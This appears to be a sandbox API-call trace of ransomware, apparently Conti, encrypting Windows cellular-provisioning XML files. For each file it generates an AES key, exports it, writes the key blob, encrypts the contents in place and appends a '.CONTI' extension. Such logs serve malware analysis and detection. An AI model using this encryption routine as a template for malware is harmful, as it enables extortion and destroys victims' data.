	[0109.474] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.474] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.474] WriteFile (in: hFile=0x380, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.476] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.476] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x309, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x309, lpOverlapped=0x0) returned 1
	[0109.476] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x309, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x310) returned 1
	[0109.476] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.476] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x310, lpOverlapped=0x0) returned 1
	[0109.476] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.476] WriteFile (in: hFile=0x380, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.476] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.476] CloseHandle (hObject=0x380) returned 1
	[0109.476] GetProcessHeap () returned 0x1720000
	[0109.476] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.476] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml"
	[0109.476] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.476] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\237__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.477] GetProcessHeap () returned 0x1720000
	[0109.477] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.477] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0109.477] GetProcessHeap () returned 0x1720000
	[0109.477] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d66c0 | out: hHeap=0x1720000) returned 1
	[0109.477] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.477] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x6b7f4f8) returned 1
	[0109.477] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x45bfa3c | out: pbData=0x17c459c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.478] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.478] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.478] GetLastError () returned 0x0
	[0109.478] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=710) returned 1
	[0109.478] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0109.478] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.478] SetEndOfFile (hFile=0x380) returned 1
	[0109.479] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.479] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.479] WriteFile (in: hFile=0x380, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.480] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.480] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2c6, lpOverlapped=0x0) returned 1
	[0109.481] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2c6, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0109.481] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.481] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.481] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.481] WriteFile (in: hFile=0x380, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.481] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.481] CloseHandle (hObject=0x380) returned 1
	[0109.481] GetProcessHeap () returned 0x1720000
	[0109.481] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.481] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml"
	[0109.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.481] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\238__connections_cellular_alfa (lebanon)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.482] GetProcessHeap () returned 0x1720000
	[0109.482] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.482] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0109.482] GetProcessHeap () returned 0x1720000
	[0109.482] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d74d8 | out: hHeap=0x1720000) returned 1
	[0109.482] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.482] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x6b7ef78) returned 1
	[0109.482] CryptExportKey (in: hKey=0x6b7ef78, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x45bfa3c | out: pbData=0x17c4ebc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.483] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.483] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.483] GetLastError () returned 0x0
	[0109.483] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=782) returned 1
	[0109.484] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30e
	[0109.484] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.484] SetEndOfFile (hFile=0x380) returned 1
	[0109.484] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.484] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.484] WriteFile (in: hFile=0x380, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0109.486] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.486] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x30e, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x30e, lpOverlapped=0x0) returned 1
	[0109.486] CryptEncrypt (in: hKey=0x6b7ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x30e, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x310) returned 1
	[0109.486] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.486] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x310, lpOverlapped=0x0) returned 1
	[0109.486] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.486] WriteFile (in: hFile=0x380, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0109.486] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.486] CloseHandle (hObject=0x380) returned 1
	[0109.486] GetProcessHeap () returned 0x1720000
	[0109.486] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1808e38
	[0109.486] lstrcpyW (in: lpString1=0x1808e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml"
	[0109.486] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.486] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.487] GetProcessHeap () returned 0x1720000
	[0109.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808e38 | out: hHeap=0x1720000) returned 1
	[0109.487] CryptDestroyKey (hKey=0x6b7ef78) returned 1
	[0109.487] GetProcessHeap () returned 0x1720000
	[0109.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6be0 | out: hHeap=0x1720000) returned 1
	[0109.487] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0109.487] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x6b7f338) returned 1
	[0109.487] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x45bfa3c | out: pbData=0x17c5c6c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0109.488] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.488] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0109.488] GetLastError () returned 0x0
	[0109.488] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=716) returned 1
	[0109.488] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0109.488] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.489] SetEndOfFile (hFile=0x380) returned 1
	[0109.489] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.489] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.489] WriteFile (in: hFile=0x380, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.279] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.279] ReadFile (in: hFile=0x380, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2cc, lpOverlapped=0x0) returned 1
	[0110.279] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0110.279] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.279] WriteFile (in: hFile=0x380, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.279] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.279] WriteFile (in: hFile=0x380, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0110.279] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.279] CloseHandle (hObject=0x380) returned 1
	[0110.448] GetProcessHeap () returned 0x1720000
	[0110.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.993] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml"
	[0110.993] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml.CONTI"
